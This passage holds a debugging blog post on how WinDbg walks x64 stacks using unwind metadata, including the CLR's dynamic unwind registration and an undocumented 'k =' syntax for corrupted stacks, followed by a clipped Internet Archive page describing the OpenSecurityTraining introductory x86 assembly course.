0d 00000000\`04a52730 000007ff\`0015098c 0x7ff\`0015098c  
0e 00000000\`04a528e0 000007ff\`0015098c 0x7ff\`0015098c  
0f 00000000\`04a52a90 000007ff\`0015098c 0x7ff\`0015098c  
10 00000000\`04a52c40 000007ff\`0015098c 0x7ff\`0015098c  
11 00000000\`04a52df0 000007ff\`0015098c 0x7ff\`0015098c  
12 00000000\`04a52fa0 000007ff\`0015098c 0x7ff\`0015098c  
13 00000000\`04a53150 000007ff\`0015098c 0x7ff\`0015098c

At first glance, it may appear that this stack is already trashed since there
is no symbol information for the bottom frames in the display. Before jumping
to this conclusion, recall that this is a managed application and therefore
contains JIT compiled code. To verify that the addresses without symbol
information are JIT’ed code, you can do a couple of things.

First, use the \!EEHeap extension in the SOS extension to determine if these
addresses reside in the JIT code heap. Below, you can see the commands I used
to both load the SOS extension and then display the Execution Engine \(EE\)
Heap information:

0:014> .loadby sos clr  
  
0:014> \!EEHeap -loader  
Loader Heap:  
\--------------------------------------  
System Domain: 000007fef50955a0  
LowFrequencyHeap: 000007ff00020000\(2000:1000\) Size: 0x1000 \(4096\) bytes.  
HighFrequencyHeap: 000007ff00022000\(8000:1000\) Size: 0x1000 \(4096\) bytes.  
StubHeap: 000007ff0002a000\(2000:2000\) Size: 0x2000 \(8192\) bytes.  
Virtual Call Stub Heap:  
IndcellHeap: 000007ff000d0000\(6000:1000\) Size: 0x1000 \(4096\) bytes.  
LookupHeap: 000007ff000dc000\(4000:1000\) Size: 0x1000 \(4096\) bytes.  
ResolveHeap: 000007ff00106000\(3a000:1000\) Size: 0x1000 \(4096\) bytes.  
DispatchHeap: 000007ff000e0000\(26000:1000\) Size: 0x1000 \(4096\) bytes.  
CacheEntryHeap: Size: 0x0 \(0\) bytes.  
Total size: Size: 0x8000 \(32768\) bytes.  
\--------------------------------------  
Shared Domain: 000007fef5095040  
LowFrequencyHeap: 000007ff00020000\(2000:1000\) Size: 0x1000 \(4096\) bytes.  
HighFrequencyHeap: 000007ff00022000\(8000:1000\) Size: 0x1000 \(4096\) bytes.  
StubHeap: 000007ff0002a000\(2000:2000\) Size: 0x2000 \(8192\) bytes.  
Virtual Call Stub Heap:  
IndcellHeap: 000007ff000d0000\(6000:1000\) Size: 0x1000 \(4096\) bytes.  
LookupHeap: 000007ff000dc000\(4000:1000\) Size: 0x1000 \(4096\) bytes.  
ResolveHeap: 000007ff00106000\(3a000:1000\) Size: 0x1000 \(4096\) bytes.  
DispatchHeap: 000007ff000e0000\(26000:1000\) Size: 0x1000 \(4096\) bytes.  
CacheEntryHeap: Size: 0x0 \(0\) bytes.  
Total size: Size: 0x8000 \(32768\) bytes.  
\--------------------------------------  
Domain 1: 00000000003e73c0  
LowFrequencyHeap: 000007ff00030000\(2000:1000\) 000007ff00140000\(10000:5000\)
Size: 0x6000 \(24576\) bytes total, 0x1000 \(4096\) bytes wasted.  
HighFrequencyHeap: 000007ff00032000\(8000:5000\) Size: 0x5000 \(20480\) bytes.  
StubHeap: Size: 0x0 \(0\) bytes.  
Virtual Call Stub Heap:  
IndcellHeap: 000007ff00040000\(4000:1000\) Size: 0x1000 \(4096\) bytes.  
LookupHeap: 000007ff0004b000\(2000:1000\) Size: 0x1000 \(4096\) bytes.  
ResolveHeap: 000007ff0007c000\(54000:1000\) Size: 0x1000 \(4096\) bytes.  
DispatchHeap: 000007ff0004d000\(2f000:1000\) Size: 0x1000 \(4096\) bytes.  
CacheEntryHeap: Size: 0x0 \(0\) bytes.  
Total size: Size: 0xf000 \(61440\) bytes total, 0x1000 \(4096\) bytes wasted.  
\--------------------------------------  
Jit code heap:  
LoaderCodeHeap: 000007ff00150000\(40000:2000\) Size: 0x2000 \(8192\) bytes.  
Total size: Size: 0x2000 \(8192\) bytes.  
\--------------------------------------  
Module Thunk heaps:  
Module 000007fee5581000: Size: 0x0 \(0\) bytes.  
Module 000007ff000330d8: Size: 0x0 \(0\) bytes.  
Module 000007fef06f1000: Size: 0x0 \(0\) bytes.  
Total size: Size: 0x0 \(0\) bytes.  
\--------------------------------------  
Module Lookup Table heaps:  
Module 000007fee5581000: Size: 0x0 \(0\) bytes.  
Module 000007ff000330d8: Size: 0x0 \(0\) bytes.  
Module 000007fef06f1000: Size: 0x0 \(0\) bytes.  
Total size: Size: 0x0 \(0\) bytes.  
\--------------------------------------  
Total LoaderHeap size: Size: 0x21000 \(135168\) bytes total, 0x1000 \(4096\)
bytes wasted.  
=======================================

I have highlighted the JIT heap information and you can see that the JIT’ed
code instruction pointers in the stack fall within this range.

The second sanity check you can perform is to use a variant of the u
instruction to confirm that there is a call instruction just prior to that
address as shown below:

0:012> ub 0x7ff\`0015098c  
000007ff\`0015095e 488b01 mov rax,qword ptr \[rcx\]  
000007ff\`00150961 48898424b0000000 mov qword ptr \[rsp+0B0h\],rax  
000007ff\`00150969 488b4108 mov rax,qword ptr \[rcx+8\]  
000007ff\`0015096d 48898424b8000000 mov qword ptr \[rsp+0B8h\],rax  
000007ff\`00150975 4c8d8424b0000000 lea r8,\[rsp+0B0h\]  
000007ff\`0015097d 488b5308 mov rdx,qword ptr \[rbx+8\]  
000007ff\`00150981 488d8c24c0000000 lea rcx,\[rsp+0C0h\]  
000007ff\`00150989 ff5318 call qword ptr \[rbx+18h\]

So at this point we have verified that we probably have a valid stack. But how
does the debugger so effectively walk this stack for us if there is no stack
frame pointer? The answer, of course, is that it uses the unwind information.

To explore the answer to that question, let’s focus on a particular frame
within the stack such as frame 4 in the stack above. The code at that frame is
inside the function clr\!CLREvent::WaitEx, and if we pass that to .fnent, we
get the following output:

0:012> .fnent clr\!CLREvent::WaitEx  
Debugger function entry 00000000\`04075e40 for:  
\(000007fe\`f48bfdb0\) clr\!CLREvent::WaitEx | \(000007fe\`f48bfe3c\) clr\!CLREvent::Set  
Exact matches:  
clr\!CLREvent::WaitEx = <no type information>  
  
BeginAddress = 00000000\`000dfdb0  
EndAddress = 00000000\`000dfe3c  
UnwindInfoAddress = 00000000\`007267d8  
  
Unwind info at 000007fe\`f4f067d8, 20 bytes  
version 1, flags 2, prolog 20, codes a  
frame reg 0, frame offs 0  
handler routine: clr\!\_CxxFrameHandler3 \(000007fe\`f49eadf0\), data 7b3f54  
00: offs 20, unwind op 4, op info 5 UWOP\_SAVE\_NONVOL FrameOffset: b0  
02: offs 1c, unwind op 4, op info 3 UWOP\_SAVE\_NONVOL FrameOffset: a8  
04: offs f, unwind op 2, op info d UWOP\_ALLOC\_SMALL  
05: offs b, unwind op 0, op info e UWOP\_PUSH\_NONVOL  
06: offs 9, unwind op 0, op info d UWOP\_PUSH\_NONVOL  
07: offs 7, unwind op 0, op info c UWOP\_PUSH\_NONVOL  
08: offs 5, unwind op 0, op info 7 UWOP\_PUSH\_NONVOL  
09: offs 4, unwind op 0, op info 6 UWOP\_PUSH\_NONVOL

Notice that this output is virtually identical to the same information
provided by dumpbin using the /UNWINDINFO option.

I have highlighted two interesting values above. The value highlighted in
green is a relative virtual address \(RVA\) to the unwind info that is baked
into the PE file by the linker. The value highlighted in yellow is the actual
virtual address of the unwind info and can be computed by adding the module
base address shown below to the RVA for UnwindInfoAddress.

0:012> lmnm clr

start end module name

000007fe\`f47e0000 000007fe\`f5145000 clr

By examining the PE header using \!dh you can confirm that the unwind
information resides in the .rdata section of the module, which I have shown
below:

0:012> \!dh clr  
  
File Type: DLL  
FILE HEADER VALUES  
8664 machine \(X64\)  
6 number of sections  
4BA21EEB time date stamp Thu Mar 18 07:39:07 2010  
  
<snip>  
SECTION HEADER \#2  
.rdata name  
1FC8EC virtual size  
67F000 virtual address  
1FCA00 size of raw data  
67E200 file pointer to raw data  
0 file pointer to relocation table  
0 file pointer to line numbers  
0 number of relocations  
0 number of line numbers  
40000040 flags  
Initialized Data  
\(no align specified\)  
Read Only  
<snip>

# Using the Unwind Info

Now let’s take a look at the unwind info and compare it to the prolog code of
the function with which it is associated. For convenience, I have reprinted
the .fnent output for the function:

0:012> .fnent clr\!CLREvent::WaitEx  
Debugger function entry 00000000\`04075e40 for:  
\(000007fe\`f48bfdb0\) clr\!CLREvent::WaitEx | \(000007fe\`f48bfe3c\) clr\!CLREvent::Set  
Exact matches:  
clr\!CLREvent::WaitEx = <no type information>  
  
BeginAddress = 00000000\`000dfdb0  
EndAddress = 00000000\`000dfe3c  
UnwindInfoAddress = 00000000\`007267d8  
  
Unwind info at 000007fe\`f4f067d8, 20 bytes  
version 1, flags 2, prolog 20, codes a  
frame reg 0, frame offs 0  
handler routine: clr\!\_CxxFrameHandler3 \(000007fe\`f49eadf0\), data 7b3f54  
** 00: offs 20, unwind op 4, op info 5 UWOP\_SAVE\_NONVOL FrameOffset: b0  
02: offs 1c, unwind op 4, op info 3 UWOP\_SAVE\_NONVOL FrameOffset: a8  
04: offs f, unwind op 2, op info d UWOP\_ALLOC\_SMALL  
** 05: offs b, unwind op 0, op info e UWOP\_PUSH\_NONVOL  
06: offs 9, unwind op 0, op info d UWOP\_PUSH\_NONVOL  
07: offs 7, unwind op 0, op info c UWOP\_PUSH\_NONVOL  
08: offs 5, unwind op 0, op info 7 UWOP\_PUSH\_NONVOL  
09: offs 4, unwind op 0, op info 6 UWOP\_PUSH\_NONVOL

The yellow highlighted value tells us that the prolog code for the function is
0x20 bytes in length. Using that information we can dump out the prolog code
for the function:

0:012> u clr\!CLREvent::WaitEx clr\!CLREvent::WaitEx+20  
clr\!CLREvent::WaitEx:  
000007fe\`f48bfdb0 488bc4 mov rax,rsp  
000007fe\`f48bfdb3 56 push rsi  
000007fe\`f48bfdb4 57 push rdi  
000007fe\`f48bfdb5 4154 push r12  
000007fe\`f48bfdb7 4155 push r13  
000007fe\`f48bfdb9 4156 push r14  
000007fe\`f48bfdbb 4883ec70 **sub rsp,70h**  
000007fe\`f48bfdbf 48c7442440feffffff mov qword ptr
\[rsp+40h\],0FFFFFFFFFFFFFFFEh  
000007fe\`f48bfdc8 48895810 **mov qword ptr \[rax+10h\],rbx**  
000007fe\`f48bfdcc 48896818 **mov qword ptr \[rax+18h\],rbp**

The list of operations in the unwind info is listed in the reverse order of
the operations in the assembly code. Each of the UWOP\_PUSH\_NONVOL operations
in the unwind info maps to a nonvolatile register that is pushed onto the
stack for safe keeping in the prolog code. I have highlighted the sections
within the prolog and the .fnent output such that highlighting with like
colors indicates related information. Now, let’s take a look at the raw stack
and tie all of this information together.

Below is the stack with the frame we are focusing on highlighted in yellow:

0:012> kn  
\# Child-SP RetAddr Call Site  
00 00000000\`04a51e18 000007fe\`fd4e10ac ntdll\!NtWaitForSingleObject+0xa  
01 00000000\`04a51e20 000007fe\`f48bffc7
KERNELBASE\!WaitForSingleObjectEx+0x79  
02 00000000\`04a51ec0 000007fe\`f48bff70 clr\!CLREvent::WaitEx+0x170  
03 00000000\`04a51f00 000007fe\`f48bfe23 clr\!CLREvent::WaitEx+0xf8  
04 00000000\`04a51f60 000007fe\`f48d51d8 clr\!CLREvent::WaitEx+0x5e  
05 00000000\`04a52000 000007fe\`f4995249
clr\!SVR::gc\_heap::wait\_for\_gc\_done+0x98  
06 00000000\`04a52030 000007fe\`f48aef28 clr\!SVR::GCHeap::Alloc+0xb4  
07 00000000\`04a520a0 000007fe\`f48aecc9 clr\!FastAllocatePrimitiveArray+0xc5  
08 00000000\`04a52120 000007fe\`f071244c clr\!JIT\_NewArr1+0x389  
09 00000000\`04a522f0 000007fe\`f07111b5 System\_Numerics\_ni+0x2244c  
0a 00000000\`04a52330 000007ff\`00150acf System\_Numerics\_ni+0x211b5  
0b 00000000\`04a523d0 000007ff\`0015098c 0x7ff\`00150acf  
0c 00000000\`04a52580 000007ff\`0015098c 0x7ff\`0015098c  
0d 00000000\`04a52730 000007ff\`0015098c 0x7ff\`0015098c  
0e 00000000\`04a528e0 000007ff\`0015098c 0x7ff\`0015098c  
0f 00000000\`04a52a90 000007ff\`0015098c 0x7ff\`0015098c  
10 00000000\`04a52c40 000007ff\`0015098c 0x7ff\`0015098c  
11 00000000\`04a52df0 000007ff\`0015098c 0x7ff\`0015098c  
12 00000000\`04a52fa0 000007ff\`0015098c 0x7ff\`0015098c  
13 00000000\`04a53150 000007ff\`0015098c 0x7ff\`0015098c

Note: The symbols above look a little weird and may lead you to believe that
WaitEx is calling itself recursively, but it is not. It only appears that way
because you need the private symbols for clr.dll to be able to see the real
function name. Only public symbols are available outside of Microsoft.

And below is the raw stack relevant to this frame with some highlighting and
annotations that I have added:

0:012> dps 00000000\`04a51f60-10 L20  
00000000\`04a51f50 00000000\`00000001  
00000000\`04a51f58 000007fe\`f48bfe23 clr\!CLREvent::WaitEx+0x5e  
00000000\`04a51f60 **00000000\`c0402388**  
00000000\`04a51f68 **00000000\`c0402500**  
00000000\`04a51f70 **000007fe\`f48afaf0** clr\!SystemNative::ArrayCopy  
00000000\`04a51f78 **00000000\`00000182**  
00000000\`04a51f80 **00000000\`04a521d0**  
00000000\`04a51f88 **000007fe\`00000001**  
00000000\`04a51f90 **00000000\`00000057**  
00000000\`04a51f98 **00000000\`c0402398**  
00000000\`04a51fa0 **ffffffff\`fffffffe**  
00000000\`04a51fa8 **007f0000\`04a521d0**  
00000000\`04a51fb0 **fffff880\`009ca540**  
00000000\`04a51fb8 **000007fe\`f483da5b**
clr\!SVR::heap\_select::select\_heap+0x1c  
00000000\`04a51fc0 **fffff880\`009ca540**  
00000000\`04a51fc8 **000007fe\`fd4e18aa** KERNELBASE\!ResetEvent+0xa  
00000000\`04a51fd0 00000000\`0043dc60  
00000000\`04a51fd8 00000000\`00000178  
00000000\`04a51fe0 00000000\`00493c10  
00000000\`04a51fe8 00000000\`0043dc60 ß saved rdi  
00000000\`04a51ff0 00000000\`00000001  
  
\*\*\* call into clr\!CLREvent::WaitEx \*\*\*  
  
00000000\`04a51ff8 000007fe\`f48d51d8
clr\!SVR::gc\_heap::wait\_for\_gc\_done+0x98  
00000000\`04a52000 00000000\`00493ba0  
00000000\`04a52008 **00000000\`00493ba0** ß saved rbx  
00000000\`04a52010 **00000000\`00000058** ß saved rbp  
00000000\`04a52018 000007fe\`f0711e0f System\_Numerics\_ni+0x21e0f  
00000000\`04a52020 00000000\`00000178  
00000000\`04a52028 000007fe\`f4995249 clr\!SVR::GCHeap::Alloc+0xb4  
00000000\`04a52030 00000000\`0043a140  
00000000\`04a52038 00000000\`0043dc60  
00000000\`04a52040 00000000\`00000000  
00000000\`04a52048 00000000\`04a522e0

In the stack listing I have used the same color highlighting scheme as before
to show how the data on the raw stack correlates to the unwind data. And,
using green highlighting, I have shown how the Child-SP value correlates to
the stack frame.

The cyan highlighting represents nonvolatile registers that are pushed onto
the stack in the prolog code. The **blue highlighting** represents stack space
reserved for locals and for register home space allocated for calling sub
routines. In the unwind data the stack reservation is represented by a
UWOP\_ALLOC\_SMALL operation. And the **red highlighting** represents
nonvolatile registers that are stored in the home space of the previous stack
frame and represented by a UWOP\_SAVE\_NONVOL operation stored in the unwind
information.

As you can see, we have all of the information we need in the unwind data to
determine which slots on the stack are used for what. The only thing we don’t
know is the partitioning of the reserved stack space for locals, which is
described by the private symbol information for the clr.dll module.

# Tying it all Together

.fnent produces its output directly from parsing the definition of the
UNWIND\_INFO structure and it even gives you the address of where that
structure lives in memory. The UNWIND\_INFO structure also contains a variable
amount of UNWIND\_CODE structures. You can find details of the structure
definitions for UNWIND\_INFO and UNWIND\_CODE here. Each parsed line of unwind
information in the .fnent output is backed by at least one of these
structures. In fact, you can see the correlation between the structure fields
for UNWIND\_INFO and the data in the .fnent output as shown below:

From UNWIND\_CODE:

UBYTE|  Offset in prolog  
---|---  
UBYTE: 4|  Unwind operation code  
UBYTE: 4|  Operation info  
From .fnent:

05: offs b, unwind op 0, op info e UWOP\_PUSH\_NONVOL

The meaning of the OpInfo \(operation info\) field is dependent on the
UnwindOp \(unwind operation code\) field and is spelled out in the
documentation for UNWIND\_CODE. For example, for the UWOP\_PUSH\_NONVOL
operation shown above, the OpInfo field is an index into the following table,
which indicates which nonvolatile register this push is associated with. Note
that the values in the below table are in decimal, while the .fnent values are
in hex:

0|  RAX  
---|---  
1|  RCX  
2|  RDX  
3|  RBX  
4|  RSP  
5|  RBP  
6|  RSI  
7|  RDI  
8 to 15|  R8 to R15  
Therefore, the previous line from the .fnent output represents a push
operation for the r14 register \(05: offs b, unwind op 0, op info e
UWOP\_PUSH\_NONVOL\). Looking at the assembly above, we see that the topmost
UWOP\_PUSH\_NONVOL operation in the .fnent output correlates to the last
nonvolatile register push in the prolog code \(push r14\).

Note: Remember, the push operations in the .fnent output are listed in the
reverse order of where they are in the actual prolog code. This helps the
unwind code easily calculate offsets of where they should live in the stack.

One thing that you will notice in the x64 calling convention is that once the
prolog code has executed, the value for rsp will very rarely change. The
Child-SP value in the stack displayed by the k commands is the value of rsp
for that frame after the prolog code has executed. So the offsets to access
these nonvolatile registers are then applied to the Child-SP value
\(previously highlighted in green\) to find where they live on the stack. So,
in a way, the Child-SP value acts like the base pointer we are used to on the
x86 platform.

In the .fnent output above, you will also see the following:

00: offs 20, unwind op 4, op info 5 UWOP\_SAVE\_NONVOL FrameOffset: b0

For UWOP\_SAVE\_NONVOL, you see that the .fnent output shows us the offset
where we can find this register, and the register in question is represented
by the OpInfo value that equates to rbp. The offset above is applied to the
Child-SP value \(00000000\`04a51f60 in this case\) to produce the address
00000000\`04a52010, which indicates that’s where we can find a saved copy of
rbp. I have also annotated where it lives in the raw stack output shown
previously.

Note: If you’re wondering why rbp is stored in the previous stack frame, check
out my previous post on this topic where I describe how in optimized builds,
the compiler can use the home space from the previous stack frame to save
nonvolatile registers thus saving them with a MOV operation as opposed to a
PUSH operation. This is possible because in optimized builds the home space is
not necessarily used to store parameters.

# So how does all of This Work for CLR JIT Code?

If you have asked this question, then you are definitely paying attention\! As
we have shown, the compiler and linker are responsible for placing unwind info
in the Portable Executable file at build time. But what about dynamic code
that is generated at runtime? Certainly there must be unwind information for
dynamically compiled code as well, otherwise there would be no way to walk the
stack or unwind the stack after an exception.

As it turns out, APIs exist for this very situation, including
RtlAddFunctionTable and RtlInstallFunctionTableCallback. In fact, the CLR uses
RtlInstallFunctionTableCallback. The generated unwind information is then
rooted in a linked list where the head is at ntdll\!RtlpDynamicFunctionTable.
The format of the linked list items is undocumented as it is an implementation
detail, but using dbghelp.dll you can find the unwind information for a given
instruction pointer if you so desire by calling SymFunctionTableAccess64.

In fact, if you want to see the CLR adding dynamic unwind info in action you
can run the test code above under the debugger, and then at the initial
breakpoint, before the application starts running, set the following
breakpoint:

bu ntdll\!RtlInstallFunctionTableCallback

When you let the application run you should then end up with a call stack at
the breakpoint that looks like the following, which clearly shows the JIT
compiler adding the unwind info to the table dynamically:

0:000> kn  
\# Child-SP RetAddr Call Site  
00 00000000\`0017dca8 000007fe\`f4832cc6
ntdll\!RtlInstallFunctionTableCallback  
01 00000000\`0017dcb0 000007fe\`f4831422 clr\!InstallEEFunctionTable+0x77  
02 00000000\`0017df60 000007fe\`f4828ca8 clr\!StubLinker::EmitUnwindInfo+0x492  
03 00000000\`0017e050 000007fe\`f4832c1a clr\!StubLinker::EmitStub+0xe8  
04 00000000\`0017e0b0 000007fe\`f48328e5
clr\!StubLinker::LinkInterceptor+0x1ea  
05 00000000\`0017e160 000007fe\`f4831e40
clr\!CTPMethodTable::CreateStubForNonVirtualMethod+0xa35  
06 00000000\`0017e300 000007fe\`f4832926
clr\!CRemotingServices::GetStubForNonVirtualMethod+0x50  
07 00000000\`0017e3c0 000007fe\`f48223f3 clr\!MethodDesc::DoPrestub+0x38b  
08 00000000\`0017e4d0 000007fe\`f47e2d07 clr\!PreStubWorker+0x1df  
09 00000000\`0017e590 000007fe\`f48210b4 clr\!ThePreStubAMD64+0x87  
0a 00000000\`0017e660 000007fe\`f48211c9 clr\!CallDescrWorker+0x84  
0b 00000000\`0017e6d0 000007fe\`f4821245 clr\!CallDescrWorkerWithHandler+0xa9  
0c 00000000\`0017e750 000007fe\`f4823cf1 clr\!MethodDesc::CallDescr+0x2a1  
0d 00000000\`0017e9b0 000007fe\`f49cdc3d clr\!MethodDescCallSite::Call+0x35  
0e 00000000\`0017e9f0 000007fe\`f4999f0d
clr\!AppDomain::InitializeDomainContext+0x1ac  
0f 00000000\`0017ebf0 000007fe\`f49212a1
clr\!SystemDomain::InitializeDefaultDomain+0x13d  
10 00000000\`0017f0c0 000007fe\`f4923dd6
clr\!SystemDomain::ExecuteMainMethod+0x191  
11 00000000\`0017f670 000007fe\`f4923cf3 clr\!ExecuteEXE+0x43  
12 00000000\`0017f6d0 000007fe\`f49a7365 clr\!CorExeMainInternal+0xc4  
13 00000000\`0017f740 000007fe\`f8ad3309 clr\!CorExeMain+0x15

But there is one more wrinkle to this picture. We now know that by using
RtlInstallFunctionTableCallback the CLR, or any other JIT engine, can register
a callback that provides the unwind information at runtime. But how does the
debugger access this information? When the debugger is broken into the process
or if you are debugging a dump, it cannot execute the callback function
registered with RtlInstallFunctionTableCallback.

This is where the sixth and final parameter to RtlInstallFunctionTableCallback
comes into play. By providing the OutOfProcessCallbackDll parameter, the CLR
is providing a dll which the debugger can use to effectively parse through the
JITer’s unwind information statically. When inspecting which path the CLR
passes for OutOfProcessCallbackDll on my machine, I see the following string:

0:000> du /c 80 000007fe\`f5916160  
000007fe\`f5916160
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordacwks.dll"

So, the debugger uses mscordacwks.dll to statically examine the unwind info
while the process is broken in the debugger or while inspecting a dump.

Note: This is one of the many reasons why you must have a complete process
dump to effectively post-mortem debug managed applications.

# Using the ‘k =’ Command to Dump the Stack

If you look at the documentation for the k command, you’ll see that there is a
way to override the base pointer when walking the stack. However, the
documentation leaves it a complete mystery as to how to apply this in the x64
world. To demonstrate what I mean, consider the following stack from earlier:

0:012> kn  
\# Child-SP RetAddr Call Site  
00 00000000\`04a51e18 000007fe\`fd4e10ac ntdll\!NtWaitForSingleObject+0xa  
01 00000000\`04a51e20 000007fe\`f48bffc7
KERNELBASE\!WaitForSingleObjectEx+0x79  
02 00000000\`04a51ec0 000007fe\`f48bff70 clr\!CLREvent::WaitEx+0x170  
03 00000000\`04a51f00 000007fe\`f48bfe23 clr\!CLREvent::WaitEx+0xf8  
04 00000000\`04a51f60 000007fe\`f48d51d8 clr\!CLREvent::WaitEx+0x5e  
05 00000000\`04a52000 000007fe\`f4995249
clr\!SVR::gc\_heap::wait\_for\_gc\_done+0x98  
06 00000000\`04a52030 000007fe\`f48aef28 clr\!SVR::GCHeap::Alloc+0xb4  
07 00000000\`04a520a0 000007fe\`f48aecc9 clr\!FastAllocatePrimitiveArray+0xc5  
08 00000000\`04a52120 000007fe\`f071244c clr\!JIT\_NewArr1+0x389  
09 00000000\`04a522f0 000007fe\`f07111b5 System\_Numerics\_ni+0x2244c  
0a 00000000\`04a52330 000007ff\`00150acf System\_Numerics\_ni+0x211b5  
0b 00000000\`04a523d0 000007ff\`0015098c 0x7ff\`00150acf  
0c 00000000\`04a52580 000007ff\`0015098c 0x7ff\`0015098c  
0d 00000000\`04a52730 000007ff\`0015098c 0x7ff\`0015098c  
0e 00000000\`04a528e0 000007ff\`0015098c 0x7ff\`0015098c  
0f 00000000\`04a52a90 000007ff\`0015098c 0x7ff\`0015098c  
10 00000000\`04a52c40 000007ff\`0015098c 0x7ff\`0015098c  
11 00000000\`04a52df0 000007ff\`0015098c 0x7ff\`0015098c  
12 00000000\`04a52fa0 000007ff\`0015098c 0x7ff\`0015098c  
13 00000000\`04a53150 000007ff\`0015098c 0x7ff\`0015098c

Now, imagine the top of the stack is corrupted, which I have “simulated” by
blacking out the top few frames in this stack dump. Furthermore, let’s assume
that we identified a frame where the stack starts to look sane again by
looking at the raw stack below:

0:012> dps 00000000\`04a51e90  
00000000\`04a51e90 00000000\`00000000  
00000000\`04a51e98 00000000\`04a52130  
00000000\`04a51ea0 00000000\`ffffffff  
00000000\`04a51ea8 00000000\`ffffffff  
00000000\`04a51eb0 00000000\`00000108  
00000000\`04a51eb8 000007fe\`f48bffc7 clr\!CLREvent::WaitEx+0x170  
00000000\`04a51ec0 00000000\`00000000  
00000000\`04a51ec8 00000000\`00000108  
00000000\`04a51ed0 000007fe\`00000000  
00000000\`04a51ed8 00000000\`00000108  
00000000\`04a51ee0 ffffffff\`fffffffe  
00000000\`04a51ee8 00000000\`00000001  
00000000\`04a51ef0 00000000\`00000000  
00000000\`04a51ef8 000007fe\`f48bff70 clr\!CLREvent::WaitEx+0xf8  
00000000\`04a51f00 00000000\`00000000  
00000000\`04a51f08 00000000\`00493ba0

From looking at this stack, we can see the typical pattern of stack frames
because the return addresses resolve to symbols of sorts.

To dump out the corrupted stack, here is the undocumented syntax for the x64
platform:

k = <rsp> <rip> <frame\_count>

<rsp> is the stack pointer to start with. You want to use the stack pointer
that would have been in rsp when that function was active. Remember, typically
rsp does not change after the function prolog code completes. Therefore, if
you pick the stack pointer just below the return address, you should be good.

<rip> should be an instruction pointer from within the function that was
executing at the time the <rsp> value above was in play. In this case, the
return address directly above <rsp> comes from that function and I have
highlighted it in green. This piece of information is critical so that the
debugger can find the unwind metadata for the function that was current at
this point in the stack. Without it, the debugger cannot walk the stack.

Armed with this information, you can construct a k command to dump the stack
starting from this frame as shown below:

0:012> kn = 00000000\`04a51ec0 000007fe\`f48bffc7 10  
\# Child-SP RetAddr Call Site  
00 00000000\`04a51ec0 000007fe\`f48bff70 clr\!CLREvent::WaitEx+0x170  
01 00000000\`04a51f00 000007fe\`f48bfe23 clr\!CLREvent::WaitEx+0xf8  
02 00000000\`04a51f60 000007fe\`f48d51d8 clr\!CLREvent::WaitEx+0x5e  
03 00000000\`04a52000 000007fe\`f4995249
clr\!SVR::gc\_heap::wait\_for\_gc\_done+0x98  
04 00000000\`04a52030 000007fe\`f48aef28 clr\!SVR::GCHeap::Alloc+0xb4  
05 00000000\`04a520a0 000007fe\`f48aecc9 clr\!FastAllocatePrimitiveArray+0xc5  
06 00000000\`04a52120 000007fe\`f071244c clr\!JIT\_NewArr1+0x389  
07 00000000\`04a522f0 000007fe\`f07111b5 System\_Numerics\_ni+0x2244c  
08 00000000\`04a52330 000007ff\`00150acf System\_Numerics\_ni+0x211b5  
09 00000000\`04a523d0 000007ff\`0015098c 0x7ff\`00150acf  
0a 00000000\`04a52580 000007ff\`0015098c 0x7ff\`0015098c  
0b 00000000\`04a52730 000007ff\`0015098c 0x7ff\`0015098c  
0c 00000000\`04a528e0 000007ff\`0015098c 0x7ff\`0015098c  
0d 00000000\`04a52a90 000007ff\`0015098c 0x7ff\`0015098c  
0e 00000000\`04a52c40 000007ff\`0015098c 0x7ff\`0015098c  
0f 00000000\`04a52df0 000007ff\`0015098c 0x7ff\`0015098c

Note: The frame count in the above k expression is required. That is the way
the debugger engine distinguishes between this variant of the command \(with
an overridden rip\) and the documented form of k that does not provide an
overridden rip.

# Conclusion

Since the x64 calling convention does not utilize a base pointer \(among other
things\), we need some extra information to effectively walk the stack. That
extra information comes in the form of unwind metadata and is generated by the
compiler and linker for static code and baked into the portable executable
file. If you happen to code in assembly language, there are various macros
that you must use to decorate your assembly code so that the assembler can
generate the proper unwind metadata. For dynamically compiled code, that
information is instead provided at runtime by registering a callback with the
system. Knowing this information is critical if you encounter a corrupted
stack and must piece it together manually. In such situations you’ll need to
know how to dig out the unwind metadata manually and use it to effectively
reconstruct the call stack.

That said, you could spare yourself some effort and use the undocumented
variant of the k command described above to dump the stack starting at any
frame. J

Happy debugging everyone\!

_" The example companies, organizations, products, domain names, e-mail
addresses, logos, people, places, and events depicted herein are fictitious.
No association with any real company, organization, product, domain name,
email address, logo, person, places, or events is intended or should be
inferred."_

# Introductory Intel x86: Architecture, Assembly, Applications, Day 1, Part 1
: Xeno Kovah : Free Download & Streaming : Internet Archive

**Created:**| _9/3/2011 11:25:00 AM_  
---|---  
**Updated:**| _9/3/2011 11:28:38 AM_  
**Author:**| __  
**Tags:**| _video reversing Tutorials_  
  

# Introductory Intel x86: Architecture, Assembly, Applications, Day 1, Part 1

<img src='img/Temp2_4610.jpg' width='160' height='110' alt='click to play
movie' /><img src='img/Temp2_4607.jpg' width='160' height='110' alt='click to
play movie' />  
<img src='img/Temp2_4609.jpg' width='160' height='110' alt='click to play
movie' /><img src='img/Temp2_4608.jpg' width='160' height='110' alt='click to
play movie' />  
<img src='img/Temp2_4611.jpg' width='320' height='240' alt='click to play
movie' />

1<img src='img/Temp2_4612.jpg' width='8' height='11' />|
PR\_IntroX86\_Day1\_Part1|  
---|---|---  
embed this

Would you like to  try our new video/audio player \(beta\!\)

More information about this class material is available at
OpenSecurityTraining.info  
  
Intel processors have been a major force in personal computing for more than
20 years. An understanding of low level computing mechanisms used in Intel
chips as taught in this course serves as a foundation upon which to better
understand other hardware, as well as many technical specialties such as
reverse engineering, compiler design, operating system design, code
optimization, and vulnerability exploitation.  
  
25% of the time will be spent bootstrapping knowledge of fully OS-independent
aspects of Intel architecture. 50% will be spent learning Windows tools and
analysis of simple programs. The final 25% of time will be spent learning
Linux tools for analysis.  
  
This class serves as a foundation for the follow on Intermediate level x86
class. It teaches the basic concepts and describes the hardware that assembly
code deals with. It also goes over many of the most common assembly
instructions. Although x86 has hundreds of special purpose instructions,
students will be shown it is possible to read most programs by knowing only
around 20-30 instructions and their variations.  
  
The instructor-led lab work will include:  
  
\* Stepping through a small program and watching the changes to the stack at
each instruction \(push, pop, call, ret \(return\), mov\)  
\* Stepping through a slightly more complicated program \(adds lea\(load
effective address\), add, sub\)  
\* Understanding the correspondence between C and assembly control transfer
mechanisms \(e.g. goto in C == jmp in ams\)  
\* Understanding conditional control flow and how loops are translated from C
to asm\(conditional jumps, jge\(jump greater than or equal\), jle\(jump less
